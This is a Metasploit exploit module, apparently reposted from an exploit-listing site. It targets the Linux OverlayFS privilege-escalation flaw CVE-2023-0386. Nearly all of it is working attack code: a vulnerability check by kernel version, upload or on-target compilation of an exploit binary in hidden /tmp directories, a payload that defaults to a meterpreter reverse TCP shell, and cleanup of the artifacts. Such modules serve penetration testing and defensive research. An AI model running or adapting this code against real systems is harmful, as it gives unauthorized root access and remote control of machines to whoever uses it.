Share
## https://sploitus.com/exploit?id=PACKETSTORM:181886
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::Kernel  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Compile  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Local Privilege Escalation via CVE-2023-0386',  
'Description' => %q{  
This exploit targets the Linux kernel bug in OverlayFS.  
  
A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities  
was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.  
This uid mapping bug allows a local user to escalate their privileges on the system.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'xkaneiki', # Exploit development  
'sxlmnwb', # Exploit development  
'Takahiro Yokoyama', # Metasploit Module  
],  
'DisclosureDate' => '2023-03-22',  
'SessionTypes' => ['shell', 'meterpreter'],  
'Platform' => [ 'linux' ],  
'Arch' => [  
ARCH_X64,  
],  
'Targets' => [['Automatic', {}]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'AppendExit' => true,  
'PrependFork' => true,  
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'  
},  
'Privileged' => true,  
'References' => [  
[ 'CVE', '2023-0386' ],  
[ 'URL', 'https://github.com/sxlmnwb/CVE-2023-0386' ],  
[ 'URL', 'https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept-exploits/overlayfs-cve-2023-0386' ],  
[ 'URL', 'https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/' ],  
[ 'URL', 'https://www.vicarius.io/vsociety/posts/cve-2023-0386-a-linux-kernel-bug-in-overlayfs' ],  
],  
'Notes' => {  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
}  
)  
)  
register_options([  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),  
OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', '60' ])  
])  
register_advanced_options([  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
])  
end  
  
def check  
unless kernel_arch.include?('x64')  
return CheckCode::Safe("System architecture #{kernel_arch} is not supported")  
end  
  
kernel_version = Rex::Version.new(kernel_release.split('-').first)  
if kernel_version < Rex::Version.new('5.11') ||  
kernel_version.between?(Rex::Version.new('5.15.91'), Rex::Version.new('5.16')) ||  
Rex::Version.new('6.1.9') <= kernel_version  
return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable")  
end  
  
unless userns_enabled?  
return CheckCode::Safe('Unprivileged user namespaces are not permitted')  
end  
  
vprint_good('Unprivileged user namespaces are permitted')  
  
CheckCode::Appears("Linux kernel version found: #{kernel_version}")  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def exploit  
if !datastore['ForceExploit'] && is_root?  
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')  
end  
  
unless writable?(base_dir)  
fail_with(Failure::BadConfig, "#{base_dir} is not writable")  
end  
  
# Upload exploit executable  
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"  
  
mkdir(exploit_dir)  
register_dir_for_cleanup(exploit_dir)  
  
if live_compile?  
vprint_status('Live compiling exploit on system...')  
upload_and_compile(exploit_path, exploit_source('CVE-2023-0386', 'cve_2023_0386.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')  
else  
vprint_status('Dropping pre-compiled exploit on system...')  
upload_and_chmodx(exploit_path, exploit_data('CVE-2023-0386', 'cve_2023_0386.x64.elf'))  
end  
  
# Upload payload executable  
payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"  
upload_and_chmodx(payload_path, generate_payload_exe)  
  
# Launch exploit  
print_status('Launching exploit...')  
cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"  
vprint_status("Running: #{cmd_string}")  
begin  
output = cmd_exec(cmd_string, nil, datastore['TIMEOUT'])  
vprint_status(output)  
rescue Error => e  
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)  
print_error("Exploit failed: #{e}")  
ensure  
# rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.  
cmd_exec("rm -rf '#{exploit_dir}'")  
end  
end  
  
end